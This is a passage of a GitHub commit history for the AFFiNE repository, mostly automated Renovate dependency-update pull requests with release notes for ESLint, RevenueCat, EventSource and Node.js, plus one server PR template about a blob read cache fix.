[`96cdd42`](https://redirect.github.com/eslint/eslint/commit/96cdd427db5f26c6403fba92b0f7ae4556c595ec) feat: report invalid signed numeric radix values in `radix` rule ([#​21030](https://redirect.github.com/eslint/eslint/issues/21030)) (Pixel) #### Bug Fixes - [`3e7bf15`](https://redirect.github.com/eslint/eslint/commit/3e7bf15e69e6d3a2c8832356bcc2e9903cc4eede) fix: apply `ignoreClassesWithImplements` to class expressions ([#​21069](https://redirect.github.com/eslint/eslint/issues/21069)) (Pixel) - [`0d7d70c`](https://redirect.github.com/eslint/eslint/commit/0d7d70cf013ec5bf1e4f5a0fcf7128bdf059b2d4) fix: insert cause outside wrapping parens in preserve-caught-error ([#​21062](https://redirect.github.com/eslint/eslint/issues/21062)) (Mahin Anowar) - [`75ec753`](https://redirect.github.com/eslint/eslint/commit/75ec753226010867270787b412f3dae412e421e6) fix: handle static template literals in `eqeqeq` rule ([#​21058](https://redirect.github.com/eslint/eslint/issues/21058)) (Pixel) - [`b717a22`](https://redirect.github.com/eslint/eslint/commit/b717a22e2408389a2ad40af66543e46390669eb6) fix: prevent `eqeqeq` null option from reporting non-equality operators ([#​21057](https://redirect.github.com/eslint/eslint/issues/21057)) (Pixel) - [`e35b05f`](https://redirect.github.com/eslint/eslint/commit/e35b05f1961dcd691611bd68b6ff8a87072d6f76) fix: avoid `no-invalid-regexp` false positive for shadowed RegExp ([#​21051](https://redirect.github.com/eslint/eslint/issues/21051)) (Pixel) - [`a3172b6`](https://redirect.github.com/eslint/eslint/commit/a3172b69c7db63ea0321355543e3f527c7d8b76a) fix: avoid `no-control-regex` false positive for shadowed RegExp ([#​21050](https://redirect.github.com/eslint/eslint/issues/21050)) (Pixel) - [`d1f637e`](https://redirect.github.com/eslint/eslint/commit/d1f637eca27e523d613991c6bea5b8726b810e4c) fix: parenthesize sequence expression operands in no-implicit-coercion ([#​21045](https://redirect.github.com/eslint/eslint/issues/21045)) (spokodev) - [`8859baf`](https://redirect.github.com/eslint/eslint/commit/8859bafb018e2b23b5110d52e491b69b94ad890a) fix: avoid prefer-numeric-literals false positive for shadowed globals ([#​21047](https://redirect.github.com/eslint/eslint/issues/21047)) (한국) - [`a9e5961`](https://redirect.github.com/eslint/eslint/commit/a9e5961050676ef29dba9649dfcd7233d21760c7) fix: use-isnan false positive on shadowed NaN/Number ([#​20958](https://redirect.github.com/eslint/eslint/issues/20958)) (sethamus) - [`8a240a7`](https://redirect.github.com/eslint/eslint/commit/8a240a76108f30f2476e61a925e4d32d378cce5e) fix: avoid false positives in `radix` rule for spread arguments ([#​21044](https://redirect.github.com/eslint/eslint/issues/21044)) (Pixel) #### Documentation - [`c30d808`](https://redirect.github.com/eslint/eslint/commit/c30d80801ca561bdf65c6c3eba4ee57dced278cf) docs: Update README (GitHub Actions Bot) - [`5139800`](https://redirect.github.com/eslint/eslint/commit/5139800b23e77fdd1a76664e1b36f478942eae55) docs: document ESLint migration codemods in v9 and v10 guides ([#​20980](https://redirect.github.com/eslint/eslint/issues/20980)) (Alex Bit) - [`04174cb`](https://redirect.github.com/eslint/eslint/commit/04174cbfaac1f9555400b5332d69056e6aab9cc6) docs: Update README (GitHub Actions Bot) - [`026e130`](https://redirect.github.com/eslint/eslint/commit/026e1304080512bcddfd2af3557fff86474ff949) docs: update semver policy for bug fixes ([#​21048](https://redirect.github.com/eslint/eslint/issues/21048)) (Milos Djermanovic) - [`9d42fef`](https://redirect.github.com/eslint/eslint/commit/9d42fefb0e05ecd0b256c2ebed479fc868862f0c) docs: Update README (GitHub Actions Bot) - [`b230159`](https://redirect.github.com/eslint/eslint/commit/b23015955c8d6e6516076190730f538c86927f26) docs: Update README (GitHub Actions Bot) - [`0129972`](https://redirect.github.com/eslint/eslint/commit/0129972ba122e95bece6040fda44d20f6799246a) docs: correct `**/.js` glob to `**/*.js` in config files guide ([#​21036](https://redirect.github.com/eslint/eslint/issues/21036)) (EduardF1) #### Chores - [`9489379`](https://redirect.github.com/eslint/eslint/commit/948937986f2aa3cccb27a4c80694a85e5b0a5f64) chore: update dependency [@​eslint/eslintrc](https://redirect.github.com/eslint/eslintrc) to ^3.3.6 ([#​21076](https://redirect.github.com/eslint/eslint/issues/21076)) (renovate\[bot]) - [`81a4774`](https://redirect.github.com/eslint/eslint/commit/81a4774a928211bd0c01a06a1517736ece594522) chore: updates for v9.39.5 release (Jenkins) - [`9835414`](https://redirect.github.com/eslint/eslint/commit/983541491393323d17717683f6a2e6dbef4bc3f4) chore: enable `$ExpectType` annotations in all TypeScript files ([#​21071](https://redirect.github.com/eslint/eslint/issues/21071)) (Francesco Trotta) - [`72adf6b`](https://redirect.github.com/eslint/eslint/commit/72adf6bd214c142b38aabb4b8f6f908079c5301a) chore: restrict `markdownlint-cli2` updates in renovate ([#​21067](https://redirect.github.com/eslint/eslint/issues/21067)) (lumir) - [`833ec10`](https://redirect.github.com/eslint/eslint/commit/833ec10fd702644e94334edd3cd2aa313174a958) chore: update dependency prettier to v3.9.4 ([#​21061](https://redirect.github.com/eslint/eslint/issues/21061)) (renovate\[bot]) - [`7ea106d`](https://redirect.github.com/eslint/eslint/commit/7ea106ddcb6af7db8f36d62a28dbaba94d33598e) chore: update ecosystem plugins ([#​21059](https://redirect.github.com/eslint/eslint/issues/21059)) (ESLint Bot) - [`8fb550e`](https://redirect.github.com/eslint/eslint/commit/8fb550e7c257fbdc4108fc8e63db43c1d914d472) chore: add prettier update commit to `.git-blame-ignore-revs` ([#​21056](https://redirect.github.com/eslint/eslint/issues/21056)) (lumir) - [`e4e1166`](https://redirect.github.com/eslint/eslint/commit/e4e11668ead6b950328c71e894563a13ef72bf84) chore: update dependency prettier to v3.9.1 ([#​21055](https://redirect.github.com/eslint/eslint/issues/21055)) (renovate\[bot]) - [`0493f53`](https://redirect.github.com/eslint/eslint/commit/0493f53f3fcec4ed69a1808dffa153dcff1380d3) chore: update prettier to v3.9.0 ([#​21054](https://redirect.github.com/eslint/eslint/issues/21054)) (Pixel) - [`1056a99`](https://redirect.github.com/eslint/eslint/commit/1056a996c657b377dc16a58c28890d2940394408) chore: update dependency prettier to v3.8.5 ([#​21049](https://redirect.github.com/eslint/eslint/issues/21049)) (renovate\[bot]) - [`4d4155d`](https://redirect.github.com/eslint/eslint/commit/4d4155df4a21d711e8dd21a467de085e770bad35) ci: run ecosystem tests on pull requests ([#​21027](https://redirect.github.com/eslint/eslint/issues/21027)) (sethamus) - [`993539f`](https://redirect.github.com/eslint/eslint/commit/993539fd45d3d01aad3fbc13963e2245fdf7ee0d) chore: update dependency [@​eslint/json](https://redirect.github.com/eslint/json) to ^2.0.1 ([#​21042](https://redirect.github.com/eslint/eslint/issues/21042)) (renovate\[bot]) - [`53f8b69`](https://redirect.github.com/eslint/eslint/commit/53f8b69c15af7398c989071ee4788b88edd48bdd) test: add error locations to `no-constant-binary-expression` ([#​21039](https://redirect.github.com/eslint/eslint/issues/21039)) (lumir) - [`5ab71d5`](https://redirect.github.com/eslint/eslint/commit/5ab71d52f9d860df04e626fcd819a36257f21f9e) refactor: clean up radix rule internals ([#​21015](https://redirect.github.com/eslint/eslint/issues/21015)) (Pixel) - [`a80a9a4`](https://redirect.github.com/eslint/eslint/commit/a80a9a461478838930c5545f840473840b26b0e6) chore: update ecosystem plugins ([#​21035](https://redirect.github.com/eslint/eslint/issues/21035)) (ESLint Bot) - [`7c9a029`](https://redirect.github.com/eslint/eslint/commit/7c9a02933cf1c231237babb8a7a32150ab72e263) ci: add Node.js 26 to CI ([#​20847](https://redirect.github.com/eslint/eslint/issues/20847)) (lumir) ### [`v10.6.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.6.0) [Compare Source](https://redirect.github.com/eslint/eslint/compare/v10.5.0...v10.6.0) #### Features - [`b1f9106`](https://redirect.github.com/eslint/eslint/commit/b1f910628e29a018c860e2352bc14cd07c853d67) feat: detect Symbol() and BigInt() in no-constant-binary-expression ([#​20981](https://redirect.github.com/eslint/eslint/issues/20981)) (Taejin Kim) - [`f291007`](https://redirect.github.com/eslint/eslint/commit/f291007cb73f55c09cf3c2aa3a405df379a5c594) feat: add checkRelationalComparisons to no-constant-binary-expression ([#​20948](https://redirect.github.com/eslint/eslint/issues/20948)) (sethamus) #### Bug Fixes - [`6b05784`](https://redirect.github.com/eslint/eslint/commit/6b05784eb271ac98ca3e1e2a48c4b14bb588c786) fix: prefer-exponentiation-operator invalid autofix at statement start ([#​20997](https://redirect.github.com/eslint/eslint/issues/20997)) (Milos Djermanovic) - [`bb9eb2a`](https://redirect.github.com/eslint/eslint/commit/bb9eb2ab28daf6e6dafc62daa6b5daf9c2b7046c) fix: account for shadowed `Boolean` in `no-extra-boolean-cast` ([#​21013](https://redirect.github.com/eslint/eslint/issues/21013)) (den$) - [`8fd8741`](https://redirect.github.com/eslint/eslint/commit/8fd8741009a3ed7845c89bfe2fb3eaa2119b2d15) fix: don't report shadowed undefined in `radix` rule ([#​21011](https://redirect.github.com/eslint/eslint/issues/21011)) (Pixel) - [`5784980`](https://redirect.github.com/eslint/eslint/commit/5784980ce8ba99556db98907895d82ef49cd0a27) fix: don't report shadowed undefined in no-throw-literal ([#​21010](https://redirect.github.com/eslint/eslint/issues/21010)) (Pixel) - [`9cd1e6d`](https://redirect.github.com/eslint/eslint/commit/9cd1e6de5bad487a9c713bdc9fda5af7ea0babcd) fix: suppress invalid class suggestion in no-promise-executor-return ([#​21008](https://redirect.github.com/eslint/eslint/issues/21008)) (Pixel) - [`d4eb2dc`](https://redirect.github.com/eslint/eslint/commit/d4eb2dc95f17cdf491edca91b7d9caf05b86253f) fix: don't report shadowed undefined in prefer-promise-reject-errors ([#​21006](https://redirect.github.com/eslint/eslint/issues/21006)) (Pixel) - [`2360464`](https://redirect.github.com/eslint/eslint/commit/23604646db6d987d01edb8aa5f4d2a88bd4c01d0) fix: prefer-promise-reject-errors false positives for shadowed Promise ([#​21003](https://redirect.github.com/eslint/eslint/issues/21003)) (den$) - [`63d52d2`](https://redirect.github.com/eslint/eslint/commit/63d52d28de705ec46f328d18166e8b7170b3f024) fix: restore max-classes-per-file report range ([#​21002](https://redirect.github.com/eslint/eslint/issues/21002)) (Pixel) - [`7feaff0`](https://redirect.github.com/eslint/eslint/commit/7feaff0cfb8d6a6260d3ea56887c9161daf8c700) fix: callback detection logic for IIFEs in max-nested-callbacks ([#​20979](https://redirect.github.com/eslint/eslint/issues/20979)) (fnx) - [`399a2ec`](https://redirect.github.com/eslint/eslint/commit/399a2ec81bcbcff2c67920db51d9276b20ac1025) fix: don't report inner non-callbacks in `max-nested-callbacks` ([#​20995](https://redirect.github.com/eslint/eslint/issues/20995)) (Milos Djermanovic) #### Documentation - [`a83683d`](https://redirect.github.com/eslint/eslint/commit/a83683db1c27193c2ad333fc5c0aedcc8a293db7) docs: Update README (GitHub Actions Bot) - [`f5449f9`](https://redirect.github.com/eslint/eslint/commit/f5449f96c2caabbc1a28b15211873e2f672f5ae5) docs: document userland patterns for global assertionOptions in RuleT… ([#​20986](https://redirect.github.com/eslint/eslint/issues/20986)) (playgirl) - [`bea49f7`](https://redirect.github.com/eslint/eslint/commit/bea49f7b2899ebf708482f977ef2ada41fd2c3f0) docs: Update README (GitHub Actions Bot) - [`e5f70f9`](https://redirect.github.com/eslint/eslint/commit/e5f70f9b06683a887dd0d6dc1cc91a9c9bea816d) docs: update code-path diagrams ([#​20984](https://redirect.github.com/eslint/eslint/issues/20984)) (Tanuj Kanti) - [`8890c2d`](https://redirect.github.com/eslint/eslint/commit/8890c2d40880b195b9167735c24ec0cc5de5eb96) docs: add TypeScript config guidance for MCP server ([#​20796](https://redirect.github.com/eslint/eslint/issues/20796)) (Pierluigi Lenoci) - [`3eb3d9b`](https://redirect.github.com/eslint/eslint/commit/3eb3d9b1b5edecc3fcae0519ddba0e3745e889e3) docs: Update README (GitHub Actions Bot) - [`c5bb59c`](https://redirect.github.com/eslint/eslint/commit/c5bb59cf613dabafd550227b6adaa9327b1095f5) docs: Update README (GitHub Actions Bot) - [`eb3c97c`](https://redirect.github.com/eslint/eslint/commit/eb3c97c776731ce11b28cc99f0271f41b9994701) docs: fix grammar in prefer-const rule description ([#​20983](https://redirect.github.com/eslint/eslint/issues/20983)) (lumir) #### Chores - [`6a42034`](https://redirect.github.com/eslint/eslint/commit/6a42034a57a816b0a313720b3b9df09455bd0b5e) ci: run ecosystem tests on main branch ([#​20891](https://redirect.github.com/eslint/eslint/issues/20891)) (sethamus) - [`3dbacdb`](https://redirect.github.com/eslint/eslint/commit/3dbacdbb31673c87ca86ecafbb18712d8d1daed8) ci: bump actions/checkout from 6 to 7 ([#​21014](https://redirect.github.com/eslint/eslint/issues/21014)) (dependabot\[bot]) - [`c3abfca`](https://redirect.github.com/eslint/eslint/commit/c3abfca7c96cc9a244f54eeb66e9971c59280354) chore: correct JSDoc param types in html formatter ([#​21018](https://redirect.github.com/eslint/eslint/issues/21018)) (Minseon Kim) - [`a832320`](https://redirect.github.com/eslint/eslint/commit/a8323209cdbefefd540c5beeaa51418d8ec40f9e) ci: split ecosystem tests into separate jobs ([#​21001](https://redirect.github.com/eslint/eslint/issues/21001)) (xbinaryx) - [`27166e7`](https://redirect.github.com/eslint/eslint/commit/27166e78511db526688afc34bbfab1a458405f3f) chore: update ecosystem plugins ([#​21005](https://redirect.github.com/eslint/eslint/issues/21005)) (ESLint Bot) - [`865d76e`](https://redirect.github.com/eslint/eslint/commit/865d76e40107d4fa10a17fc3203b303eb8a88dc3) ci: bump pnpm/action-setup from 6.0.8 to 6.0.9 ([#​20989](https://redirect.github.com/eslint/eslint/issues/20989)) (dependabot\[bot]) - [`27a88c9`](https://redirect.github.com/eslint/eslint/commit/27a88c9fa7c040f4cd39e5a5e6e2d02441c408ef) chore: update dependency markdown-it to v14 in root ([#​20994](https://redirect.github.com/eslint/eslint/issues/20994)) (Milos Djermanovic) - [`970cea6`](https://redirect.github.com/eslint/eslint/commit/970cea62b295d931a4109abedeb21ba192d3f2be) chore: update dependency markdown-it to v14 ([#​20993](https://redirect.github.com/eslint/eslint/issues/20993)) (Milos Djermanovic) - [`b482120`](https://redirect.github.com/eslint/eslint/commit/b482120bacb40204fbf16f3b20be7207057157a5) chore: update dependency prettier to v3.8.4 ([#​20990](https://redirect.github.com/eslint/eslint/issues/20990)) (renovate\[bot]) - [`6993fb3`](https://redirect.github.com/eslint/eslint/commit/6993fb3173da84999fc208507b93f523aa657448) chore: update ecosystem plugins ([#​20985](https://redirect.github.com/eslint/eslint/issues/20985)) (ESLint Bot) ### [`v10.5.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.5.0) [Compare Source](https://redirect.github.com/eslint/eslint/compare/v10.4.1...v10.5.0) #### Features - [`5ca8c52`](https://redirect.github.com/eslint/eslint/commit/5ca8c5278edea1fd84d3ba83d8ea3f52fb3831ad) feat: correct stack tracking in max-nested-callbacks ([#​20973](https://redirect.github.com/eslint/eslint/issues/20973)) (Pixel998) - [`b565783`](https://redirect.github.com/eslint/eslint/commit/b5657837604fa5e8cf1278074782025cadd34b6c) feat: report no-with violations at the with keyword ([#​20971](https://redirect.github.com/eslint/eslint/issues/20971)) (Pixel998) - [`2ce032f`](https://redirect.github.com/eslint/eslint/commit/2ce032fbc72a1a80c024c084a4f382fb6dece684) feat: report max-lines-per-function violations at function head ([#​20966](https://redirect.github.com/eslint/eslint/issues/20966)) (Pixel998) - [`732cb3e`](https://redirect.github.com/eslint/eslint/commit/732cb3e09d5b8b809b5f461d118a5d9fdcd6427f) feat: report max-nested-callbacks violations at function head ([#​20967](https://redirect.github.com/eslint/eslint/issues/20967)) (Pixel998) - [`f9c138a`](https://redirect.github.com/eslint/eslint/commit/f9c138a0ba7d8e37aed39aef4a3ff1cae8c669f7) feat: report max-depth violations on keywords ([#​20943](https://redirect.github.com/eslint/eslint/issues/20943)) (Pixel998) - [`bdb496c`](https://redirect.github.com/eslint/eslint/commit/bdb496cc0d54b6d0a023aef9abd5f040ccff2101) feat: correct max-depth handling for else-if chains ([#​20944](https://redirect.github.com/eslint/eslint/issues/20944)) (Pixel998) - [`c296873`](https://redirect.github.com/eslint/eslint/commit/c29687354a7f96093f57f7d73eecb866ad5e2953) feat: update error loc in `max-statements` to function header ([#​20907](https://redirect.github.com/eslint/eslint/issues/20907)) (Taejin Kim) #### Documentation - [`8ae1b5b`](https://redirect.github.com/eslint/eslint/commit/8ae1b5b856dc031cd6c701d89a4df7da4772cd56) docs: Update README ( > ❗ **Important** > > ✂ PR body was truncated to here. </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45NS4yIiwidXBkYXRlZEluVmVyIjoiNDQuMTM0LjEiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>v2026.10.10-canary.908 |
||
|
|
2e84a86570 |
chore: bump up RevenueCat/purchases-ios-spm version to from: "5.92.0" (#15459)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [RevenueCat/purchases-ios-spm](https://redirect.github.com/RevenueCat/purchases-ios-spm) | minor | `from: "5.83.0"` → `from: "5.92.0"` | --- ### Release Notes <details> <summary>RevenueCat/purchases-ios-spm (RevenueCat/purchases-ios-spm)</summary> ### [`v5.92.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.91.0...5.92.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.91.0...5.92.0) ### [`v5.91.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.90.2...5.91.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.90.2...5.91.0) ### [`v5.90.2`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.90.1...5.90.2) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.90.1...5.90.2) ### [`v5.90.1`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.90.0...5.90.1) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.90.0...5.90.1) ### [`v5.90.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.89.0...5.90.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.89.0...5.90.0) ### [`v5.89.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.88.0...5.89.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.88.0...5.89.0) ### [`v5.88.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.87.1...5.88.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.87.1...5.88.0) ### [`v5.87.1`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.87.0...5.87.1) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.87.0...5.87.1) ### [`v5.87.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.86.0...5.87.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.86.0...5.87.0) ### [`v5.86.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.85.0...5.86.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.85.0...5.86.0) ### [`v5.85.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.84.0...5.85.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.84.0...5.85.0) ### [`v5.84.0`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.83.2...5.84.0) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.83.2...5.84.0) ### [`v5.83.2`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.83.1...5.83.2) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.83.1...5.83.2) ### [`v5.83.1`](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.83.0...5.83.1) [Compare Source](https://redirect.github.com/RevenueCat/purchases-ios-spm/compare/5.83.0...5.83.1) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMi4wIiwidXBkYXRlZEluVmVyIjoiNDQuMTM0LjEiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
65abc46a66 |
fix(server): blob read cache (#15693)
<!-- Thank you for contributing to AFFiNE! The PR title must follow Conventional Commits (enforced by CI): type(scope): description e.g. fix(editor): keep selection after paste Types: feat fix docs style refactor perf test build ci chore revert --> ## Description <!-- What does this PR do? Link related issues, e.g. "Closes #1234". Screenshots or recordings are welcome for UI changes. --> ## Checklist - [ ] I have signed the [AFFiNE Contributor License Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required before merge; the `license/cla` check must be green ([how it works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first)) - [ ] The PR targets the `canary` branch and its title follows [Conventional Commits](https://www.conventionalcommits.org/) - [ ] Tests are added or updated where it makes sense - [ ] `yarn lint` and `yarn typecheck` pass locally - [ ] If the PR code includes AI-generated edits, I have carefully reviewed it to ensure that the scope of the PR is consistent with what is claimed in the title and description, and that there are no redundant or invalid implementations. - [ ] I agree that maintainers may close the PR without discussion if they consider the code quality to be too low. #### PR Dependency Tree * **PR #15693** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Improved quota information refreshes across server roles and after configuration reloads. Plan details, member counts, and storage usage now reflect recent account changes more reliably. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
bf473eeb6c |
chore: bump up Recouse/EventSource version to from: "0.1.9" (#15686)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [Recouse/EventSource](https://redirect.github.com/Recouse/EventSource) | patch | `from: "0.1.8"` → `from: "0.1.9"` | --- ### Release Notes <details> <summary>Recouse/EventSource (Recouse/EventSource)</summary> ### [`v0.1.9`](https://redirect.github.com/Recouse/EventSource/releases/tag/0.1.9) [Compare Source](https://redirect.github.com/Recouse/EventSource/compare/0.1.8...0.1.9) #### What's Changed - fix: add explicit default auth challenge handling to SessionDelegate by [@​liefran-sim](https://redirect.github.com/liefran-sim) in [#​51](https://redirect.github.com/Recouse/EventSource/pull/51) - Fix watchOS build failure on Xcode 27 by [@​maximbilan](https://redirect.github.com/maximbilan) in [#​52](https://redirect.github.com/Recouse/EventSource/pull/52) **Full Changelog**: <https://github.com/Recouse/EventSource/compare/0.1.8...0.1.9> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>v2026.10.9-canary.912 |
||
|
|
2d4f191e67 |
chore: bump up Node.js to v22.23.3 (#15683)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | patch | `22.23.2` → `22.23.3` | --- ### Release Notes <details> <summary>nodejs/node (node)</summary> ### [`v22.23.3`](https://redirect.github.com/nodejs/node/releases/tag/v22.23.3): 2026-09-23, Version 22.23.3 'Jod' (LTS), @​aduh95 prepared by @​juanarbol [Compare Source](https://redirect.github.com/nodejs/node/compare/v22.23.2...v22.23.3) ##### Notable Changes - \[[`fe2a6b2be8`](https://redirect.github.com/nodejs/node/commit/fe2a6b2be8)] - **crypto**: update root certificates to NSS 3.125 (Node.js GitHub Bot) [#​64746](https://redirect.github.com/nodejs/node/pull/64746) - \[[`871167ddfd`](https://redirect.github.com/nodejs/node/commit/871167ddfd)] - **deps**: update corepack to 0.36.0 (Node.js GitHub Bot) [#​65653](https://redirect.github.com/nodejs/node/pull/65653) - \[[`b816fc8958`](https://redirect.github.com/nodejs/node/commit/b816fc8958)] - **deps**: upgrade npm to 10.9.9 (npm team) [#​64884](https://redirect.github.com/nodejs/node/pull/64884) - \[[`e306521444`](https://redirect.github.com/nodejs/node/commit/e306521444)] - **deps**: update icu to 78.3 (Node.js GitHub Bot) [#​62324](https://redirect.github.com/nodejs/node/pull/62324) - \[[`a9cb31129f`](https://redirect.github.com/nodejs/node/commit/a9cb31129f)] - **deps**: update OpenSSL 3.5.8 (Node.js GitHub Bot) [#​65542](https://redirect.github.com/nodejs/node/pull/65542) - \[[`2a3548e51c`](https://redirect.github.com/nodejs/node/commit/2a3548e51c)] - **deps**: update Undici to 6.28.1 (mcollina) [#​65790](https://redirect.github.com/nodejs/node/pull/65790) - \[[`3909ff2c4a`](https://redirect.github.com/nodejs/node/commit/3909ff2c4a)] - **node-api**: support `SharedArrayBuffer` in `napi_create_typedarray` (Yilong Li) [#​62710](https://redirect.github.com/nodejs/node/pull/62710) - \[[`66de6349ad`](https://redirect.github.com/nodejs/node/commit/66de6349ad)] - **node-api**: add `napi_create_external_sharedarraybuffer` (Ben Noordhuis) [#​62623](https://redirect.github.com/nodejs/node/pull/62623) ##### Commits - \[[`44cf27b8fa`](https://redirect.github.com/nodejs/node/commit/44cf27b8fa)] - **build**: update binary-upload to use correct tarball name (Stewart X Addison) [#​65282](https://redirect.github.com/nodejs/node/pull/65282) - \[[`fe2a6b2be8`](https://redirect.github.com/nodejs/node/commit/fe2a6b2be8)] - **crypto**: update root certificates to NSS 3.125 (Node.js GitHub Bot) [#​64746](https://redirect.github.com/nodejs/node/pull/64746) - \[[`71feba6b69`](https://redirect.github.com/nodejs/node/commit/71feba6b69)] - **crypto**: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) [#​63527](https://redirect.github.com/nodejs/node/pull/63527) - \[[`871167ddfd`](https://redirect.github.com/nodejs/node/commit/871167ddfd)] - **deps**: update corepack to 0.36.0 (Node.js GitHub Bot) [#​65653](https://redirect.github.com/nodejs/node/pull/65653) - \[[`2a3548e51c`](https://redirect.github.com/nodejs/node/commit/2a3548e51c)] - **deps**: update undici to 6.28.1 (mcollina) [#​65790](https://redirect.github.com/nodejs/node/pull/65790) - \[[`59d853a4df`](https://redirect.github.com/nodejs/node/commit/59d853a4df)] - **deps**: update archs files for openssl-3.5.8 (Node.js GitHub Bot) [#​65542](https://redirect.github.com/nodejs/node/pull/65542) - \[[`a9cb31129f`](https://redirect.github.com/nodejs/node/commit/a9cb31129f)] - **deps**: upgrade openssl sources to openssl-3.5.8 (Node.js GitHub Bot) [#​65542](https://redirect.github.com/nodejs/node/pull/65542) - \[[`3376e27de2`](https://redirect.github.com/nodejs/node/commit/3376e27de2)] - **deps**: V8: cherry-pick [`a6eaf75`](https://redirect.github.com/nodejs/node/commit/a6eaf7574109) (Camillo Bruni) [#​65402](https://redirect.github.com/nodejs/node/pull/65402) - \[[`b816fc8958`](https://redirect.github.com/nodejs/node/commit/b816fc8958)] - **deps**: upgrade npm to 10.9.9 (npm team) [#​64884](https://redirect.github.com/nodejs/node/pull/64884) - \[[`4e4bd1b104`](https://redirect.github.com/nodejs/node/commit/4e4bd1b104)] - **deps**: update timezone to 2026c (Node.js GitHub Bot) [#​64588](https://redirect.github.com/nodejs/node/pull/64588) - \[[`7d82841b4e`](https://redirect.github.com/nodejs/node/commit/7d82841b4e)] - **deps**: update c-ares to 1.34.8 (Node.js GitHub Bot) [#​64330](https://redirect.github.com/nodejs/node/pull/64330) - \[[`01855a19d3`](https://redirect.github.com/nodejs/node/commit/01855a19d3)] - **deps**: c-ares: cherry-pick [`8ba37af`](https://redirect.github.com/nodejs/node/commit/8ba37af8e3fb) (René) [#​64110](https://redirect.github.com/nodejs/node/pull/64110) - \[[`23fb398c3d`](https://redirect.github.com/nodejs/node/commit/23fb398c3d)] - **deps**: update corepack to 0.35.0 (Node.js 